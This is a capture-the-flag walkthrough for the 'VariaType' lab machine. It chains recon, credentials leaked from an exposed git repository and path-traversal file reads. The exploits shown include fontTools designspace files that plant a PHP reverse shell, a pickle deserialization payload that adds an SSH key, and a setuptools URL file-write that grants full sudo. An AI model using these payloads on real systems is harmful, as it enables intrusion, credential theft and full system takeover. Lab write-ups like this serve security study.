Enum

  • Initial scans and config
$ export IP=10.129.8.4
 
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
 
Open 10.129.8.4:22
Open 10.129.8.4:80
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGaryOd6/hnIT9XPtT08U3YwVShW2VnKYno4lQqs0BQ6ePwGDjLxPcQHcEiiKWd0/mvv39jxHUQAgt069vYV8ag=
|   256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILtP5zMi+IdeNc7bOdDPDwFv+HWDAUakOFYbEIvNSp2z
80/tcp open  http    syn-ack nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
 
$ echo "$IP variatype.htb" | sudo tee -a /etc/hosts
 
10.129.8.4 variatype.htb

  • Functionality regarding .designspace and font files, utilizing fonttools
  • Quick search for fonttools CVE reveals CVE-2025-66034 PoC

  • Likely the vector we need to explore, however we have yet to fingerprint file structure before we can attempt to use it
  • Returning to the functionality of the site, perhaps we can obtain some more information
  • Let us try legitimate usage first by uploading the PoC provided code, keeping in mind we are blind for now

setup.py

  • Generates two .ttf files for us to use along with a .designspace file
#!/usr/bin/env python3
import os
 
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
 
def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
 
    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()
 
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)
 
if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)
$ python3 setup.py

malicious.designspace

  • Showcases arbitrary file write primitive via <variable-font>
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>
 
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>
 
  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

malicious2.designspace

  • Showcases content injection via <labelname>
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
	<axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
	    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
	        <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
	        <labelname xml:lang="fr">MEOW2</labelname>
	    </axis>
	</axes>
	<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
	<sources>
		<source filename="source-light.ttf" name="Light">
			<location>
				<dimension name="Weight" xvalue="100"/>
			</location>
		</source>
		<source filename="source-regular.ttf" name="Regular">
			<location>
				<dimension name="Weight" xvalue="400"/>
			</location>
		</source>
	</sources>
	<variable-fonts>
		<variable-font name="MyFont" filename="output.ttf">
			<axis-subsets>
				<axis-subset name="Weight"/>
			</axis-subsets>
		</variable-font>
	</variable-fonts>
	<instances>
		<instance name="Display Thin" familyname="MyFont" stylename="Thin">
			<location><dimension name="Weight" xvalue="100"/></location>
			<labelname xml:lang="en">Display Thin</labelname>
		</instance>
	</instances>
</designspace>
  • After uploading malicious.designspace + the two .ttf files created by setup.py, the option to download them is provided

  • However this seems to be a dead end and we must take a step back to enumerate further
  • We do not have much to play with, so let’s check for more endpoints via gobuster
$ gobuster vhost -u http://variatype.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://variatype.htb
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
portal.variatype.htb Status: 200 [Size: 2494]
Progress: 4989 / 4989 (100.00%)
===============================================================
Finished
===============================================================
  • Add portal.variatype.htb to /etc/hosts
$ echo "$IP portal.variatype.htb" | sudo tee -a /etc/hosts
10.129.8.4 portal.variatype.htb
 
$ curl http://portal.variatype.htb/ | head
 
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>VariaType — Internal Validation Portal</title>
  <link rel="stylesheet" href="/styles.css">
  <link rel="icon" href="/favicon.ico" type="image/x-icon">
</head>
<body>
  • There is a webpage available but we have no creds

  • We need to enumerate further with gobuster or similar tools
$ gobuster dir -u http://portal.variatype.htb -w /usr/share/wordlists/dirb/common.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://portal.variatype.htb
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.git/HEAD            (Status: 200) [Size: 23]
files                (Status: 301) [Size: 169] [--> http://portal.variatype.htb/files/]
index.php            (Status: 200) [Size: 2494]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
  • Appears to be an open repo, which we can grab with git-dumper
$ git-dumper http://portal.variatype.htb/ dump
 
[-] Testing http://portal.variatype.htb/.git/HEAD [200]
[-] Testing http://portal.variatype.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://portal.variatype.htb/.gitignore [404]
[-] http://portal.variatype.htb/.gitignore responded with status code 404
[-] Fetching http://portal.variatype.htb/.git/COMMIT_EDITMSG [200]
 
*snip*
 
$ ls -la dump
total 16
drwxrwxr-x 3   4096  .
drwxrwxr-x 4   4096  ..
-rw-rw-r-- 1     36  auth.php
drwxrwxr-x 7   4096  .git
  • We successfully dumped the repo and can trace the commits to reveal some interesting information
$ cat dump/.git/COMMIT_EDITMSG
security: remove hardcoded credentials
  • Well that sounds yummy, let’s find that previous version
$ cd dump
 
$ git --no-pager log
 
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500
 
    fix: add gitbot user for automated validation pipeline
 
commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:57:57 2025 -0500
 
    feat: initial portal implementation
 
 
$ git --no-pager show 753b5f5957f2020480a19bf29a0ebc80267a4a3d
 
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500
 
    fix: add gitbot user for automated validation pipeline
 
diff --git a/auth.php b/auth.php
index 615e621..b328305 100644
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
 <?php
 session_start();
-$USERS = [];
+$USERS = [
+    'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];

Credentials

gitbot : G1tB0t_Acc3ss_2025!

  • Can login and view our processed uploads from earlier
  • This also allows us to download, however there is a different mechanism than before (PHP) which may allow LFI

  • Since we logged in we need to grab cookie for using ffuf to check LFI vulnerabilities
$ ffuf -u 'http://portal.variatype.htb/download.php?f=FUZZ' \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 15 \
-H 'Cookie: PHPSESSID=<YOUR_COOKIE>'
 
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://portal.variatype.htb/download.php?f=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
 :: Header           : Cookie: PHPSESSID=<YOUR_COOKIE>
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 15
________________________________________________
 
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 50ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 51ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 61ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 60ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 54ms]
....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 52ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 55ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 61ms]
....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 58ms]
....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 56ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 61ms]
....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 62ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 63ms]
....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 62ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 63ms]
....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 58ms]
....//....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 58ms]
....//....//....//....//....//etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 57ms]
:: Progress: [930/930] :: Job [1/1] :: 740 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
  • Appears we have successful LFI, but we verify with curl or BurpSuite
$ curl -v -H 'Cookie: PHPSESSID=<YOUR_COOKIE>' \
'http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/passwd' | grep bash
 
*snip*
* using HTTP/1.x
> GET /download.php?f=....//....//....//....//....//etc/passwd HTTP/1.1
> Host: portal.variatype.htb
> User-Agent: curl/8.18.0
> Accept: */*
> Cookie: PHPSESSID=<YOUR_COOKIE>
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.22.1
*snip*
 
root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
  • We see nginx is used in response
  • Target user steve
  • We now can fingerprint and determine our file structure by enumerating nginx configuration
$ curl -H 'Cookie: PHPSESSID=ufd2hl7b4f0vmo1qh7ntsuin1p' \
'http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/nginx/nginx.conf'
 
user www-data;
worker_processes auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;
 
*snip*
 
	include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/variatype.htb;
        include /etc/nginx/sites-enabled/portal.variatype.htb;
}
 
*snip*
 
 
$ curl -H 'Cookie: PHPSESSID=ufd2hl7b4f0vmo1qh7ntsuin1p' \
'http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb'
 
server {
    listen 80;
    server_name portal.variatype.htb;
 
    root /var/www/portal.variatype.htb/public;
    index index.php;
 
    access_log /var/log/nginx/portal_access.log;
    error_log /var/log/nginx/portal_error.log;
 
    location / {
        try_files $uri $uri/ =404;
    }
 
    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }
 
    location /files/ {
        autoindex off;
    }
}
  • At last, /var/www/portal.variatype.htb/public is served publicly
  • PHP files are executed via PHP-FPM, not just served
  • We now know target directory to place our payload in the PoC we read earlier
  • So we can combine the two examples given, where we have arbitrary file write + content injection to create a PHP payload we can trigger from public dir

pwn.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
	<axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
	    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
	        <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("busybox nc <YOUR_IP> <PORT> -e /bin/bash"); ?>]]]]><![CDATA[>]]></labelname>
	        <labelname xml:lang="fr">MEOW2</labelname>
	    </axis>
	</axes>
	<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
	<sources>
		<source filename="source-light.ttf" name="Light">
			<location>
				<dimension name="Weight" xvalue="100"/>
			</location>
		</source>
		<source filename="source-regular.ttf" name="Regular">
			<location>
				<dimension name="Weight" xvalue="400"/>
			</location>
		</source>
	</sources>
	<variable-fonts>
		<variable-font name="MyFont" filename="output.ttf">
			<axis-subsets>
				<axis-subset name="Weight"/>
			</axis-subsets>
		</variable-font>
	</variable-fonts>
	<instances>
		<instance name="Display Thin" familyname="/var/www/portal.variatype.htb/public/shell.php" stylename="Thin">
			<location><dimension name="Weight" xvalue="100"/></location>
			<labelname xml:lang="en">Display Thin</labelname>
		</instance>
	</instances>
</designspace>
www-data@variatype:~/portal.variatype.htb/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

User

  • Basic checks reveal no sudo privs
  • /opt contains interesting backup script
www-data@variatype:~/portal.variatype.htb/public$ ls /opt
font-tools  process_client_submissions.bak  variatype
 
www-data@variatype:~/portal.variatype.htb/public$ cat /opt/process_client_submissions.bak
 
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#
 
set -euo pipefail
 
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"
 
mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"
 
log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}
 
cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
 
shopt -s nullglob
 
EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)
 
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
 
found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
 
        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi
 
        log "Processing submission: $file"
 
        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi
 
        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done
 
if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi
  • The script processes uploaded files from /var/www/portal.variatype.htb/public/files (from what we did earlier)
  • It invokes /usr/local/src/fontforge/build/bin/fontforge in Python
  • Inside, it imports fontforge and calls fontforge.open('$file') on each uploaded font
  • Successfully processed files are moved to /home/steve/processed_fonts and invalid names are quarantined
  • We can craft a pickle payload for this scenario embedding plaintext into an .sfd file for the script to deserialize (rather than binary)
  • Shells are spawned under steve’s crontab so they will close eventually, SSH is better persistence and was seen running earlier
  • Generate a new key for steve on your machine
# on kali
$ ssh-keygen -t ed25519 -f steve -N "" -C "steve@variatype"
 
$ chmod 600 steve
 
$ cat steve.pub
 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINVagFC3Ss8neacRwkD/2J1RThtN+IuGUusfXQLXitkU steve@variatype

privesc.py

import os
import pickle
 
PUBKEY = "ssh-rsa AAAAB... steve@variatype"
 
FILEPATH = "/var/www/portal.variatype.htb/public/files/"
FILENAME = "ssh.sfd"
 
class ExploitPayload:
        def __reduce__(self):
                cmd = (
                        f"mkdir -p /home/steve/.ssh && "
                        f"echo '{PUBKEY}' >> /home/steve/.ssh/authorized_keys && "
                        f"chmod 700 /home/steve/.ssh && "
                        f"chmod 600 /home/steve/.ssh/authorized_keys"
                )
                return (os.system, (cmd,))
 
payload_path = os.path.join(FILEPATH, FILENAME)
payload = pickle.dumps(ExploitPayload(), protocol=0).decode('ascii')
final_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
 
with open(payload_path, "w") as payload_file:
        payload_file.write(f'SplineFontDB: 3.2\nPickledData: "{final_payload}"\n')
  • So we run this script, and wait for the cronjob to run and add the SSH keys
www-data@variatype:~/portal.variatype.htb/public/files$ python3 privesc.py
  • After the cronjob runs we should be able to connect via SSH (can take a minute)
$ ssh -i steve steve@variatype.htb
 
steve@variatype:~$ ls
bin  logs  processed_fonts  quarantine  user.txt

Root

  • Check sudo privs
steve@variatype:~$ sudo -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
 
User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
 
steve@variatype:~$ cat /opt/font-tools/install_validator.py

install_validator.py

#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.
 
Example usage:
  sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""
 
import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex
 
# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"
 
# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)
 
def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False
 
def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)
 
    logging.info(f"Attempting to install plugin from: {plugin_url}")
 
    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)
 
def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)
 
    plugin_url = sys.argv[1]
 
    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)
 
    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)
 
    install_validator_plugin(plugin_url)
 
if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()
  • This script fetches plugins from a URL, and installs via setuptools so lets check the version
steve@variatype:~$ python3 -m pip show setuptools
 
Name: setuptools
Version: 78.1.0
Summary: Easily download, build, install, upgrade, and uninstall Python packages
Home-page:
Author:
Author-email: Python Packaging Authority <distutils-sig@python.org>
License:
Location: /usr/local/lib/python3.11/dist-packages
Requires:
Required-by:
  • Can find CVE-2025-47273 is applicable
  • File write via fetching plugin from URL we control, serving our mimicked file structure back to the target
  • Sine this runs as root, we can write anywhere
  • We can edit cronjobs, hashes, SSH keys, do what you want but I went with editing /etc/sudoers
  • We need to provided correct structure for the URL to grab our file, which is also where it will write on target
$ mkdir -p etc/sudoers.d
$ echo "steve ALL=(ALL) NOPASSWD:ALL" > etc/sudoers.d/steve
$ python3 -m http.server 7070
  • Now we can install this using our HTTP server
steve@variatype:~$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://<YOUR_IP>:7070/%2Fetc%2Fsudoers.d%2Fsteve"
 
2026-03-15 09:44:24,568 [INFO] Attempting to install plugin from: http://<YOUR_IP>:7070/%2Fetc%2Fsudoers.d%2Fsteve
2026-03-15 09:44:24,580 [INFO] Downloading http://<YOUR_IP>:7070/%2Fetc%2Fsudoers.d%2Fsteve
2026-03-15 09:44:24,679 [INFO] Plugin installed at: /etc/sudoers.d/steve
[+] Plugin installed successfully.
  • Now we can check our sudo privs again
steve@variatype:~$ sudo -l
 
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
 
User steve may run the following commands on variatype:
    (ALL) NOPASSWD: ALL
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
  • We are good to go, simply sudo su for root
steve@variatype:~$ sudo su
 
root@variatype:/home/steve$ id
uid=0(root) gid=0(root) groups=0(root)
 
root@variatype:/home/steve$ cd ~
 
root@variatype:~$ ls
root.txt
 
root@variatype:~$ cat /etc/shadow
root:$y$j9T$U22iZC8ubVYQ.zHw0n1wN.$xTkdl7UZCG8vpE7tECH6aQZeaff07orJSL1G8gzIv9.:20427:0:99999:7:::
steve:$y$j9T$BHBlMR.4E24EbG/z0v.cD.$bjAG20MM2ica3KNyzUldva6VdTIKjk2XqP7IN0Qskh0:20427:0:99999:7:::